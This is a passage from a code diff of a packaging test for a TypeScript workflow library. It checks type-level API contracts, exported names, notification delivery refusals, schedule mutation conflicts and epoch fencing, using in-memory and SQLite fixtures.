+import type { AgentStartAuthority as AgentAuthority } from '@proofoftech/flowsafe/agent-host';
+// @ts-expect-error agent authority belongs only to agent-runner
+import type { AgentStartAuthority as RunnerAuthority } from '@proofoftech/flowsafe/do-runner';
+
+const actor = { id: 'owner', role: 'operator' } as const;
+const principal = humanPrincipal(actor);
+const factory = new InMemoryApprovalStoreFactory();
+const service = new ApprovalService({ store: factory.store(), executionFence: 'none' });
+const legacyContext: ActorContext = {
+  actor, principal, resourceOwner: { kind: 'human', id: actor.id },
+  service: () => service, newRunId: () => 'run', newThreadId: () => 'thread',
+  resourceIdFromKey: key => key, claimResource: async () => {},
+  releaseResource: async () => {}, resourceOwnerFor: async () => undefined,
+  canAccessResource: async () => true, canSelfDecide: () => false,
+};
+const epochContext: ActorContext = { ...legacyContext, mutationEpoch: 2 };
+declare const notificationDatabase: SignalDatabase;
+declare const coreNotifications: NotificationsStorage;
+declare const notificationTopology: ThreadTopology;
+declare const conditionalDelivery: NotificationDeliveryStorage['updateNotificationDeliveryIfUnchanged'];
+const notificationStore: NotificationDeliveryStorage = new D1NotificationsStorage(notificationDatabase);
+const customNotificationStore: NotificationDeliveryStorage = Object.assign(coreNotifications, { updateNotificationDeliveryIfUnchanged: conditionalDelivery });
+const notificationTickOptions: NotificationDispatchTickOptions = {
+  storage: notificationStore, topology: notificationTopology, resolveContext: () => legacyContext,
+  executionFence: 'none', maxDeliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+};
+createNotificationDispatchTick(notificationTickOptions);
+createNotificationDispatchTick({ ...notificationTickOptions, storage: customNotificationStore, maxDeliveryAttempts: 1 });
+// @ts-expect-error Core notification storage cannot conditionally write failure receipts
+createNotificationDispatchTick({ ...notificationTickOptions, storage: coreNotifications });
+const notificationRouteOptions: ThreadSignalRoutesOptions = {
+  resolveAgent: () => { throw new Error('type-only agent'); },
+  resolveNotificationsStorage: () => coreNotifications,
+  maxDeliveryAttempts: DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS,
+};
+createThreadSignalRoutes(notificationRouteOptions);
+declare const notificationObservation: NotificationDeliveryObservation;
+const exhaustedNotification: NotificationDeliveryFailure = { type: 'exhausted', updatedAt: new Date().toISOString() };
+const notificationUpdate: Promise<NotificationDeliveryUpdateResult> = notificationStore.updateNotificationDeliveryIfUnchanged({ expected: notificationObservation, failure: exhaustedNotification });
+void notificationUpdate;
+createActorResolver({
+  authenticate: () => actor, storeFactory: factory,
+  buildService: () => service, mutationEpoch: 2,
+});
+createPrincipalActorContext({
+  principal, storeFactory: factory, buildService: () => service, mutationEpoch: 2,
+});
+declare const hostInit: ThreadScope['init'];
+const legacyScope: ThreadScope = { threadId: 'thread', principal, init: hostInit };
+declare const signalTopology: ThreadTopology;
+declare const validateBoundThread: BoundThreadTargetValidator;
+const signalOptions: SignalRouterOptions = {
+  resolve: async () => legacyContext,
+  topology: signalTopology,
+  validateThreadTarget: validateBoundThread,
+};
+createSignalRouter(signalOptions);
+createSignalRouter({ resolve: signalOptions.resolve, topology: signalTopology });
+const signalTargetResult: Promise<void> = validateBoundThread(legacyContext, { threadId: 'thread' });
+void signalTargetResult;
+const epochScope: ThreadScope = { ...legacyScope, mutationEpoch: 2 };
+const legacyInput: RunStartInput = { workflowId: 'workflow', runId: 'run', inputData: {}, principal };
+const epochInput: RunStartInput = { ...legacyInput, mutationEpoch: 2 };
+const applicationContext: Record<string, unknown> = { 'app.attribution': 'accepted', nested: { value: 1 } };
+const contextInput: RunStartInput = { ...legacyInput, requestContext: applicationContext };
+const doContextInput: DoRunStartInput = { ...contextInput, initialState: {} };
+const legacyDoInput: DoRunStartInput = { ...legacyInput, initialState: {} };
+const routerHook: NonNullable<RunRouterOptions['beforeStart']> = async (context, workflowId, inputData, requestContext) => {
+  const application: Record<string, unknown> | undefined = requestContext;
+  void [context.actor, workflowId, inputData, application];
+};
+const legacyRouterHook: NonNullable<RunRouterOptions['beforeStart']> = async (_context, _workflowId, _inputData) => {};
+const routerPolicyResult: Promise<void> = routerHook(legacyContext, 'workflow', {}, applicationContext);
+type EpochEnv = FlowsafeWorkerEnv & { artifactEpoch: number };
+const workerHook: NonNullable<FlowsafeWorkerConfig<EpochEnv>['beforeStart']> = async (context, env, workflowId, inputData, requestContext) => {
+  const application: Record<string, unknown> | undefined = requestContext;
+  void [context.actor, env.artifactEpoch, workflowId, inputData, application];
+};
+const legacyWorkerHook: NonNullable<FlowsafeWorkerConfig<EpochEnv>['beforeStart']> = async (_context, _env, _workflowId, _inputData) => {};
+declare const workerEnv: EpochEnv;
+const workerPolicyResult: Promise<void> = workerHook(legacyContext, workerEnv, 'workflow', {}, applicationContext);
+const workerConfig: FlowsafeWorkerConfig<EpochEnv> = {
+  systemPrincipalId: 'system', workflows: [],
+  buildVerifier: () => ({ verify: async () => actor }),
+  maintenance: { sweepIntervalMs: 1000, purgeIntervalMs: 1000 },
+  mutationEpoch: env => env.artifactEpoch,
+  beforeStart: workerHook,
+};
+createFlowsafeWorker(workerConfig);
+createFlowsafeWorker({ ...workerConfig, mutationEpoch: 0 });
+createFlowsafeWorker({ ...workerConfig, beforeStart: legacyWorkerHook });
+void [contextInput, doContextInput, legacyDoInput, legacyRouterHook, routerPolicyResult, workerPolicyResult];
+const onPrepared = (execution: RunExecutionIdentity): void => { void execution.startToken; };
+const legacyOptions: StartRunOptions = { runId: 'legacy' };
+const options: StartRunOptions = {
+  runId: 'run', requestedBy: actor.id, requestedByKind: 'human',
+  attemptToken: 'attempt', mutationEpoch: 2,
+  startIdentity: { owner: { kind: 'human', id: actor.id }, target: { kind: 'workflow', id: 'workflow' } },
+  onPreparedStartIdentity: onPrepared,
+  runOwnerGuard: { owner: { kind: 'service', id: 'resource-owner' }, reservationToken: 'attempt' },
+};
+// @ts-expect-error requester identity is an all-or-neither pair
+const partialRequester: StartRunOptions = { runId: 'run', requestedBy: actor.id };
+// @ts-expect-error direct Runtime epoch is numeric
+const stringEpoch: StartRunOptions = { runId: 'run', mutationEpoch: '2' };
+declare const runtime: RunnerRuntime;
+void runtime.start('workflow', options);
+declare const winningClaim: StartReservationReading;
+const keyedOptions: StartRunOptions = { ...options, startReservation: winningClaim };
+const keyedInput: RunStartInput = { ...epochInput, startReservation: winningClaim };
+const persistedResult: PersistedStartResult<RunSummary> = {
+  kind: 'result', value: { runId: 'run', status: 'success' },
+  execution: { tablePrefix: null, workflowId: 'workflow', runId: 'run', startToken: 'generation',
+    owner: { kind: 'human', id: actor.id }, target: { kind: 'workflow', id: 'workflow' } },
+};
+const privateStart: Exclude<RunRouterStartIdempotency, 'none'>['persistedStart'] = async () => persistedResult;
+// @ts-expect-error ordinary status does not provide execution identity
+const invalidPrivateStart: typeof privateStart = async () => ({ runId: 'run', status: 'success' });
+// @ts-expect-error token-only recovery is removed
+void runtime.recoverStartAttempt('workflow', 'run', 'attempt');
+const authority: AgentStartAuthority = {
+  mutationEpoch: 2,
+  startIdentity: { owner: { kind: 'human', id: actor.id }, target: { kind: 'agent', id: 'agent', threadId: 'thread' } },
+  agentStart: { threaded: true }, onPreparedStartIdentity: undefined,
+};
+const callbackAuthority: AgentStartAuthority = { ...authority, onPreparedStartIdentity: onPrepared };
+const keyedAuthority: AgentStartAuthority = { ...callbackAuthority, startReservation: winningClaim };
+declare const durable: FlowsafeDurableAgent;
+void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, authority);
+void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, callbackAuthority);
+// @ts-expect-error the eighth trusted authority argument is required
+void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined);
+const { onPreparedStartIdentity: omitted, ...withoutCallback } = authority;
+// @ts-expect-error the callback property is required even when undefined
+void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, withoutCallback);
+// @ts-expect-error callback must be a function or undefined
+void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, { ...authority, onPreparedStartIdentity: 'invalid' });
+// @ts-expect-error the bridge requires an agent target
+void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, { ...authority, startIdentity: { owner: authority.startIdentity.owner, target: { kind: 'workflow', id: 'workflow' } } });
+void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochInput, legacyOptions, partialRequester, stringEpoch, omitted, keyedOptions, keyedInput, privateStart, invalidPrivateStart, keyedAuthority];
 `,
   );
   writeFileSync(
@@ -350,10 +1161,78 @@ void createRunRouter;
         noEmit: true,
         skipLibCheck: true,
       },
-      files: ['consumer.ts'],
+      files: ['consumer.ts', 'transport-consumer.ts', 'deadline-consumer.ts'],
     }),
   );
   run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.json'], consumer);
+  // `skipLibCheck: true` above keeps the consumer program from reading the
+  // declarations it resolves, so the deadline entries' declaration axis is
+  // pinned here the way the loader probe pins their runtime axis: each entry
+  // declares one module, and the module they share reaches the runner through
+  // the single type-only import its exported projections need. The argument is
+  // a `dist`-relative path, so an entry outside `do-runner` takes the same pin.
+  // Each pattern is one line form a declaration states an edge in — a `from`
+  // clause on an import or a re-export, a side-effect import, a dynamic
+  // import, a module augmentation, a triple-slash reference. A form missing
+  // from this list is an edge the pins below cannot see.
+  const declarationEdgePatterns = [
+    /\bfrom\s*['"]([^'"]+)['"]\s*;?\s*$/,
+    /^\s*import\s*['"]([^'"]+)['"]\s*;?\s*$/,
+    /\bimport\(\s*['"]([^'"]+)['"]\s*\)/,
+    /^\s*declare\s+module\s+['"]([^'"]+)['"]/,
+    /^\s*\/\/\/\s*<reference\s+(?:path|types|lib)\s*=\s*['"]([^'"]+)['"]/,
+  ];
+  const packedDeclarationSpecifiers = (distPath) => {
+    const declaration = readFileSync(
+      join(packageDirectory, 'dist', distPath),
+      'utf8',
+    );
+    return [
+      ...new Set(
+        declaration
+          .split('\n')
+          .flatMap((line) =>
+            declarationEdgePatterns
+              .map((pattern) => pattern.exec(line)?.[1])
+              .filter((specifier) => specifier !== undefined),
+          ),
+      ),
+    ].sort();
+  };
+  assert.deepEqual(packedDeclarationSpecifiers('do-runner/constants.d.ts'), [
+    './suspension-deadline.js',
+  ]);
+  assert.deepEqual(packedDeclarationSpecifiers('do-runner/testing.d.ts'), [
+    './suspension-deadline.js',
+  ]);
+  assert.deepEqual(
+    packedDeclarationSpecifiers('do-runner/suspension-deadline.d.ts'),
+    ['./runtime.js'],
+  );
+  // `./host-kit/module` carries the module-authoring contract on its own
+  // subpath: breakwater's AuditLogger reaches a module author through this
+  // declaration, and `host-kit-no-breakwater` keeps it out of host-kit's
+  // barrel. The pin is what makes that split observable in the packed tarball.
+  assert.deepEqual(packedDeclarationSpecifiers('host-kit/module.d.ts'), [
+    '../do-runner/index.js',
+    './workflow-meta.js',
+    '@proofoftech/breakwater',
+  ]);
+  writeFileSync(
+    join(consumer, 'tsconfig.es2022.json'),
+    JSON.stringify({
+      extends: './tsconfig.json',
+      compilerOptions: { lib: ['ES2022'], types: [] },
+    }),
+  );
+  run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.es2022.json'], consumer);
+  writeFileSync(
+    join(consumer, 'sqlite-fixture.mjs'),
+    transpile(
+      readFileSync(join(packageRoot, 'test-support', 'sqlite.ts'), 'utf8'),
+      { target: ScriptTarget.ES2022, module: ModuleKind.ESNext },
+    ),
+  );
   writeFileSync(
     join(consumer, 'runtime.mjs'),
     `import assert from 'node:assert/strict';
@@ -362,9 +1241,51 @@ import * as flowsafe from '@proofoftech/flowsafe';
 import * as approvals from '@proofoftech/flowsafe/approval-api';
 import * as backgroundTasks from '@proofoftech/flowsafe/background-tasks';
 import * as doRunner from '@proofoftech/flowsafe/do-runner';
+import * as deadlineConstants from '@proofoftech/flowsafe/do-runner/constants';
+import * as deadlineTesting from '@proofoftech/flowsafe/do-runner/testing';
 import * as hostKit from '@proofoftech/flowsafe/host-kit';
+import * as agentRunner from '@proofoftech/flowsafe/agent-runner';
+import * as schedules from '@proofoftech/flowsafe/schedules';
+import * as signals from '@proofoftech/flowsafe/signals';
+import { Mastra } from '@mastra/core/mastra';
+import { InMemoryStore } from '@mastra/core/storage';
+import { createStep, createWorkflow } from '@mastra/core/workflows';
+import { z } from 'zod';
+import { openSqlite, sqliteUnitDatabase } from './sqlite-fixture.mjs';
+assert.equal(doRunner.isArmableSuspensionDeadlineMs, deadlineConstants.isArmableSuspensionDeadlineMs);
+assert.equal(doRunner.isSuspensionTimeoutResumeData, deadlineConstants.isSuspensionTimeoutResumeData);
+assert.equal(doRunner.MIN_SUSPENSION_DEADLINE_MS, deadlineConstants.MIN_SUSPENSION_DEADLINE_MS);
+assert.equal(doRunner.MAX_SUSPENSION_DEADLINE_MS, deadlineConstants.MAX_SUSPENSION_DEADLINE_MS);
+const deadlineSummary = {
+  runId: 'packed-deadline-run', status: 'suspended', suspended: [['gate']],
+  suspendPayload: { gate: { [deadlineConstants.SUSPENSION_DEADLINE_PAYLOAD_KEY]: 1000 } },
+  suspendedAt: { gate: 2000 }, resumeCount: { gate: 3 },
+};
+const derivedDeadlines = doRunner.suspensionDeadlinesOf(deadlineSummary);
+assert.deepEqual(derivedDeadlines, {
+  entries: [{ step: 'gate', deadlineAt: 3000, suspendedAt: 2000, resumeCount: 3 }],
+  rejected: [],
+});
+const packedTimeout = deadlineTesting.suspensionTimeoutResumeData(derivedDeadlines.entries[0], 3500);
+assert.deepEqual(packedTimeout, {
+  'flowsafe.suspensionTimeout': { step: 'gate', deadlineAt: 3000, expiredAt: 3500 },
+});
+assert.equal(doRunner.isSuspensionTimeoutResumeData(packedTimeout), true);
+assert.deepEqual(doRunner.suspensionDeadlinesOf({
+  ...deadlineSummary,
+  suspendPayload: { gate: { [deadlineConstants.SUSPENSION_DEADLINE_PAYLOAD_KEY]: 999 } },
+}), {
+  entries: [],
+  rejected: [{ step: 'gate', reason: 'flowsafe.deadlineMs must be between 1000 and 31536000000 ms' }],
+});
+for (const name of ['parseSuspensionDeadlineRecord', 'mergeSuspensionDeadlines', 'SUSPENSION_DEADLINE_STORAGE_KEY', 'suspensionTimeoutResumeData']) {
+  assert.equal(name in doRunner, false, name);
+}
 for (const name of [
   'createD1Storage',
+  'FencedWorkflowsStorageD1',
+  'isDefinitiveInitialAdmissionRefusal',
+  'RunAdmissionConflictError',
   'sweepExpiredRunDeadlines',
   'ExecutionFenceStore',
   'executionFenceFor',
@@ -383,6 +1304,8 @@ for (const name of [
   'IdempotentStartPendingError',
   'IdempotentStartUnresolvableError',
   'IdempotentStartAlreadySettledError',
+  'RunStartPendingError',
+  'isRunStartPendingError',
   'DeploymentInventory',
 ]) {
   assert.equal(typeof doRunner[name], 'function', name);
@@ -400,6 +1323,391 @@ assert.equal(Array.isArray(doRunner.INVENTORY_DRAIN_PROOF.reachableFrom), true);
 assert.equal(typeof hostKit.createFlowsafeRunnerLifecycle, 'function');
 assert.equal(typeof hostKit.createRunRouter, 'function');
 assert.equal(typeof hostKit.createFlowsafeWorker, 'function');
+const contextTransports = [];
+const contextPolicies = [];
+const contextPrincipal = { kind: 'human', id: 'context-owner', role: 'operator' };
+const contextTopology = hostKit.createDoRunTopology({
+  idFromName: name => name,
+  get: name => ({ fetch: async (url, init) => {
+    const body = JSON.parse(init.body);
+    contextTransports.push({ name, url, body, headers: init.headers });
+    return Response.json({ runId: body.runId, status: 'success' });
+  } }),
+}, 'packed-context-deployment-identity-secret');
+const contextFactory = new approvals.InMemoryApprovalStoreFactory();
+const contextRouter = hostKit.createRunRouter({
+  workflows: [{ id: 'context-workflow', title: 'Context', description: 'Packed transport', sampleInput: {} }],
+  resolve: approvals.createActorResolver({
+    authenticate: () => ({ id: contextPrincipal.id, role: contextPrincipal.role }),
+    storeFactory: contextFactory,
+    buildService: () => new approvals.ApprovalService({ store: contextFactory.store(), executionFence: 'none' }),
+    newRunId: () => 'context-run',
+    mutationEpoch: 2,
+  }),
+  startIdempotency: 'none',
+  start: contextTopology.start,
+  status: contextTopology.status,
+  resume: contextTopology.resume,
+  beforeStart: async (context, workflowId, inputData, requestContext) => {
+    contextPolicies.push({ principal: context.principal, workflowId, inputData, requestContext });
+    return { 'app.attribution': 'ignored-hook-return' };
+  },
+});
+const packedApplicationContext = { 'app.attribution': 'accepted', nested: { values: [1, true] } };
+const contextResponse = await contextRouter(new Request('https://packed.test/runs', {
+  method: 'POST',
+  body: JSON.stringify({ workflowId: 'context-workflow', inputData: { topic: 'launch' }, requestContext: packedApplicationContext }),
+}));
+assert.equal(contextResponse.status, 200);
+assert.deepEqual(contextPolicies, [{
+  principal: contextPrincipal, workflowId: 'context-workflow', inputData: { topic: 'launch' }, requestContext: packedApplicationContext,
+}]);
+assert.deepEqual(contextTransports[0].body, {
+  workflowId: 'context-workflow', runId: 'context-run', inputData: { topic: 'launch' }, requestContext: packedApplicationContext,
+});
+assert.equal(contextTransports[0].name, 'context-workflow:context-run');
+assert.equal(new Headers(contextTransports[0].headers).get(doRunner.MUTATION_EPOCH_HEADER), '2');
+assert.deepEqual(JSON.parse(new Headers(contextTransports[0].headers).get(doRunner.EXECUTION_PRINCIPAL_HEADER)), contextPrincipal);
+await contextTopology.start({
+  workflowId: 'context-workflow', runId: 'context-scheduled-run', inputData: { forged: true },
+  initialState: { forged: true }, requestContext: { 'app.attribution': 'forged' },
+  principal: contextPrincipal, scheduleId: 'context-schedule', dispatchId: 'context-dispatch', deadlineMs: 60000,
+});
+assert.deepEqual(contextTransports[1].body, {
+  workflowId: 'context-workflow', runId: 'context-scheduled-run',
+  scheduleId: 'context-schedule', dispatchId: 'context-dispatch', deadlineMs: 60000,
+});
+assert.equal(hostKit.FENCED_WORKFLOW_STORAGE, doRunner.FENCED_WORKFLOW_STORAGE);
+assert.equal('FencedWorkflowsStorageD1' in hostKit, false);
+assert.equal(typeof agentRunner.FlowsafeDurableAgent, 'function');
+for (const name of ['claim', 'release', 'settleRun']) {
+  assert.equal(name in doRunner.StartIdempotencyStore.prototype, false, name);
+}
+for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false);
+for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules, signals]) {
+  for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError', 'assertNotificationSourceKeysPatched', 'assertNotificationDeliveryPolicyPatched', 'captureNotificationDeliveryObservation', 'captureNotificationDeliverySelection', 'captureNotificationDeliveryStorage', 'recordNotificationDeliveryFailure']) {
+    assert.equal(name in api, false, name);
+  }
+}
+assert.equal(signals.DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, 10);
+const notificationSql = openSqlite();
+const notificationStore = new signals.D1NotificationsStorage(sqliteUnitDatabase(notificationSql));
+const notificationNow = new Date();
+const notificationContext = approvals.createPrincipalActorContext({
+  principal: approvals.trustAutomationPrincipal({ kind: 'system', id: 'notification-dispatch', purpose: 'notification.dispatch' }),
+  storeFactory: new approvals.InMemoryApprovalStoreFactory(),
+  buildService: () => { throw new Error('notification receipt does not use approval service'); },
+});
+const notificationTickOptions = {
+  storage: notificationStore,
+  topology: { send: async () => new Response(null, { status: 404 }) },
+  resolveContext: () => notificationContext,
+  now: () => notificationNow,
+  executionFence: 'none',
+  maxDeliveryAttempts: 1,
+};
+assert.throws(() => signals.createNotificationDispatchTick(notificationTickOptions), { name: 'TypeError', message: /Apply the flowsafe patch to @mastra\\/core/ });
+let unsupportedNotificationReads = 0;
+let notificationSends = 0;
+const unsupportedNotificationRoutes = signals.createThreadSignalRoutes({
+  resolveAgent: () => ({ id: 'writer', sendNotificationSignal: async () => { notificationSends++; return { id: 'sent' }; } }),
+  resolveResourceId: () => 'notification-thread',
+  resolveNotificationsStorage: () => ({
+    getNotification: async () => { unsupportedNotificationReads++; return null; },
+  }),
+});
+async function withCapturedErrors(run) {
+  const logged = [];
+  const consoleError = console.error;
+  let response;
+  try {
+    console.error = (...args) => { logged.push(args.map(String).join(' ')); };
+    response = await run();
+  } finally {
+    console.error = consoleError;
+  }
+  return { response, logged };
+}
+const { response: unsupportedNotificationResponse, logged: notificationRefusals } = await withCapturedErrors(() => unsupportedNotificationRoutes(new Request('https://thread/signal/notifications/dispatch', {
+  method: 'POST', body: JSON.stringify({ notificationIds: ['packed-notification'], resourceId: 'notification-thread', agentId: 'writer', now: notificationNow.toISOString() }),
+}), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) }));
+assert.equal(unsupportedNotificationResponse.status, 502);
+assert.deepEqual(await unsupportedNotificationResponse.json(), { error: 'internal error' });
+assert.equal(unsupportedNotificationReads, 0);
+assert.equal(notificationRefusals.some((line) => line.includes('Apply the flowsafe patch to @mastra/core')), true, 'the refusal naming the patch must reach console.error');
+const { response: ingestionResponse, logged: ingestionRefusals } = await withCapturedErrors(() => unsupportedNotificationRoutes(new Request('https://thread/signal/notification', {
+  method: 'POST', body: JSON.stringify({ source: 'constructor', kind: 'changed', summary: 'ingested' }),
+}), { threadId: 'notification-thread', principal: notificationContext.principal, init: doRunner.init({ storage: new InMemoryStore() }, { executionFence: 'none', startIdempotency: 'none' }) }));
+assert.equal(ingestionResponse.status, 502);
+assert.deepEqual(await ingestionResponse.json(), { error: 'internal error' });
+// The stub carries sendNotificationSignal, so an uncalled sender is what tells
+// the patch refusal from a missing-method TypeError on the same route catch.
+assert.equal(notificationSends, 0);
+assert.equal(ingestionRefusals.some((line) => line.includes('Apply the flowsafe patch to @mastra/core')), true, 'the ingestion refusal naming the patch must reach console.error');
+notificationSql.close();
+for (const api of [flowsafe, doRunner, hostKit]) {
+  for (const name of ['FENCED_SCHEDULE_STORAGE', 'ScheduleMutationConflictError', 'ScheduleMutationOutcomeUnknownError']) {
+    assert.equal(name in api, false, name);
+  }
+}
+for (const name of ['normalizeMutationEpoch', 'stampMutationEpoch', 'mutationEpochFromHeader', 'InvalidMutationEpochError', 'MutationEpochMismatchError']) {
+  assert.equal(doRunner[name], hostKit[name], name);
+  assert.equal(doRunner[name], flowsafe[name], name);
+}
+assert.equal(typeof doRunner.RunLifecycleBlockedError, 'function');
+assert.equal(doRunner.RunLifecycleBlockedError, flowsafe.RunLifecycleBlockedError);
+assert.equal('RunLifecycleBlockedError' in hostKit, false);
+const blocked = new doRunner.RunLifecycleBlockedError({ code: 'DISPUTED_SETTLEMENT', message: 'run termination is blocked while an economic operation is disputed' });
+assert.equal(blocked instanceof flowsafe.RunLifecycleBlockedError, true);
+assert.equal(blocked.name, 'RunLifecycleBlockedError');
+assert.equal(blocked.reason.code, 'DISPUTED_SETTLEMENT');
+assert.equal(typeof schedules.FENCED_SCHEDULE_STORAGE, 'symbol');
+assert.equal(typeof schedules.ScheduleMutationConflictError, 'function');
+assert.equal(typeof schedules.ScheduleMutationOutcomeUnknownError, 'function');
+const scheduleNative = sqliteUnitDatabase(openSqlite());
+const lostScheduleResponse = new Error('packed schedule batch response lost');
+let loseScheduleResponse = false;
+let scheduleBatches = 0;
+const scheduleBinding = {
+  prepare(sql) { return scheduleNative.prepare(sql); },
+  async batch(statements) {
+    scheduleBatches += 1;
+    const result = await scheduleNative.batch(statements);
+    if (loseScheduleResponse) {
+      loseScheduleResponse = false;
+      throw lostScheduleResponse;
+    }
+    return result;
+  },
+};
+const scheduleStore = new schedules.D1SchedulesStorage(scheduleBinding);
+const scheduleCapability = scheduleStore[schedules.FENCED_SCHEDULE_STORAGE];
+assert.ok(scheduleCapability);
+assert.equal(scheduleCapability.database, scheduleBinding);
+const scheduleStorage = doRunner.createD1Storage({
+  binding: scheduleBinding,
+  domains: schedules.createScheduleStorageDomains(scheduleBinding),
+});
+await scheduleStorage.init();
+const scheduleDomain = await scheduleStorage.getStore('schedules');
+assert.ok(scheduleDomain instanceof schedules.D1SchedulesStorage);
+const scheduleDomainCapability = scheduleDomain[schedules.FENCED_SCHEDULE_STORAGE];
+assert.ok(scheduleDomainCapability);
+assert.equal(scheduleDomainCapability.database, scheduleBinding);
+const scheduleRow = schedules.scheduleWithCreatorRole({
+  id: 'packed-schedule',
+  target: { type: 'workflow', workflowId: 'packed-schedule-workflow', inputData: {} },
+  cron: '*/5 * * * *', status: 'active',
+  nextFireAt: 1700000300000, createdAt: 1700000000000, updatedAt: 1700000000000,
+  metadata: { source: 'packed' },
+}, 'operator');
+const scheduleOwner = { kind: 'human', id: 'packed-schedule-owner' };
+const createdSchedule = await scheduleCapability.createOwnedSchedule(scheduleRow, scheduleOwner, 10, {});
+assert.equal(createdSchedule.id, scheduleRow.id);
+assert.equal(createdSchedule.status, 'active');
+assert.deepEqual(createdSchedule.metadata, scheduleRow.metadata);
+const storedScheduleOwner = await scheduleBinding.prepare("SELECT owner_kind, owner_id FROM flowsafe_resource_owners WHERE resource_kind = 'schedule' AND resource_id = ?")
+  .bind(scheduleRow.id).first();
+assert.equal(storedScheduleOwner.owner_kind, scheduleOwner.kind);
+assert.equal(storedScheduleOwner.owner_id, scheduleOwner.id);
+const scheduleFence = new doRunner.ExecutionFenceStore(scheduleBinding);
+const scheduleRouterOptions = {
+  store: scheduleStore, executionFence: scheduleFence,
+  resolve: async () => undefined,
+  targetPolicy: schedules.createScheduleTargetPolicy({ workflows: [{ id: 'packed-schedule-workflow' }], agents: [] }),
+  validateThreadTarget: async () => undefined,
+};
+assert.equal(typeof schedules.createScheduleRouter(scheduleRouterOptions), 'function');
+assert.throws(() => schedules.createScheduleRouter({
+  ...scheduleRouterOptions,
+  executionFence: new doRunner.ExecutionFenceStore(sqliteUnitDatabase(openSqlite())),
+}), /schedule storage binding disagrees with execution fence/);
+const legacyScheduleFacade = {
+  createOwnedSchedule: async (schedule) => schedule,
+  getSchedule: async () => null,
+  listSchedules: async () => [],
+  updateSchedule: async () => scheduleRow,
+  deleteOwnedSchedule: async () => 'deleted',
+  listTriggers: async () => [],
+};
+assert.equal(schedules.FENCED_SCHEDULE_STORAGE in legacyScheduleFacade, false);
+assert.equal(typeof schedules.createScheduleRouter({
+  ...scheduleRouterOptions, store: legacyScheduleFacade, executionFence: 'none',
+}), 'function');
+await scheduleFence.transition({
+  expected: 'open', next: 'draining', expectedMutationEpoch: 0,
+  expectedRevision: 0, advanceMutationEpoch: true,
+});
+await scheduleFence.transition({
+  expected: 'draining', next: 'open', expectedMutationEpoch: 1,
+  expectedRevision: 1,
+});
+await assert.rejects(() => scheduleStore.updateSchedule(scheduleRow.id, { metadata: { unauthorized: true } }), (error) => {
+  assert.ok(error instanceof doRunner.MutationEpochMismatchError);
+  assert.equal(error.status, 409);
+  assert.deepEqual(error.reason, { code: 'MUTATION_EPOCH_MISMATCH', classification: 'missing', mutationEpoch: 1 });
+  return true;
+});
+assert.deepEqual((await scheduleStore.getSchedule(scheduleRow.id)).metadata, scheduleRow.metadata);
+const scheduleMutation = { mutationEpoch: 1 };
+const pausedSchedule = await scheduleCapability.pauseSchedule(scheduleRow.id, scheduleMutation);
+await scheduleCapability.updateSchedule(scheduleRow.id, { cron: '*/10 * * * *' }, scheduleMutation);
+await assert.rejects(() => scheduleCapability.resumeSchedule(scheduleRow.id, {
+  expectedCron: pausedSchedule.cron, expectedTimezone: pausedSchedule.timezone,
+  nextFireAt: pausedSchedule.nextFireAt + 60000,
+}, scheduleMutation), (error) => {
+  assert.ok(error instanceof schedules.ScheduleMutationConflictError);
+  assert.equal(error.status, 409);
+  assert.deepEqual(error.reason, { code: 'SCHEDULE_MUTATION_CONFLICT', classification: 'schedule-changed' });
+  return true;
+});
+const conflictedSchedule = await scheduleStore.getSchedule(scheduleRow.id);
+assert.equal(conflictedSchedule.status, 'paused');
+assert.equal(conflictedSchedule.cron, '*/10 * * * *');
+assert.equal(conflictedSchedule.nextFireAt, pausedSchedule.nextFireAt);
+const committedScheduleMetadata = { source: 'committed-response-loss' };
+const batchesBeforeLoss = scheduleBatches;
+loseScheduleResponse = true;
+await assert.rejects(() => scheduleCapability.updateSchedule(scheduleRow.id, {
+  metadata: committedScheduleMetadata,
+}, scheduleMutation), (error) => {
+  assert.ok(error instanceof schedules.ScheduleMutationOutcomeUnknownError);
+  assert.equal(error.status, 503);
+  assert.deepEqual(error.reason, { code: 'SCHEDULE_MUTATION_OUTCOME_UNKNOWN' });
+  assert.equal(error.cause, lostScheduleResponse);
+  return true;
+});
+assert.equal(scheduleBatches, batchesBeforeLoss + 1);
+assert.equal(loseScheduleResponse, false);
+const committedSchedule = await scheduleBinding.prepare('SELECT metadata FROM mastra_schedules WHERE id = ?').bind(scheduleRow.id).first();
+assert.deepEqual(JSON.parse(committedSchedule.metadata), committedScheduleMetadata);
+const binding = sqliteUnitDatabase(openSqlite());
+const retentionBinding = sqliteUnitDatabase(openSqlite());
+await retentionBinding.prepare('CREATE TABLE mastra_workflow_snapshot (workflow_name TEXT NOT NULL, run_id TEXT NOT NULL, resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, UNIQUE(workflow_name, run_id))').run();
+for (const [runId, provenance] of [
+  ['malformed-retention', { version: 2, startToken: 42 }],
+  ['eligible-retention', { version: 2, startToken: 'packed-retention-generation', attemptToken: 'packed-retention-attempt', resumeCounts: [] }],
+]) {
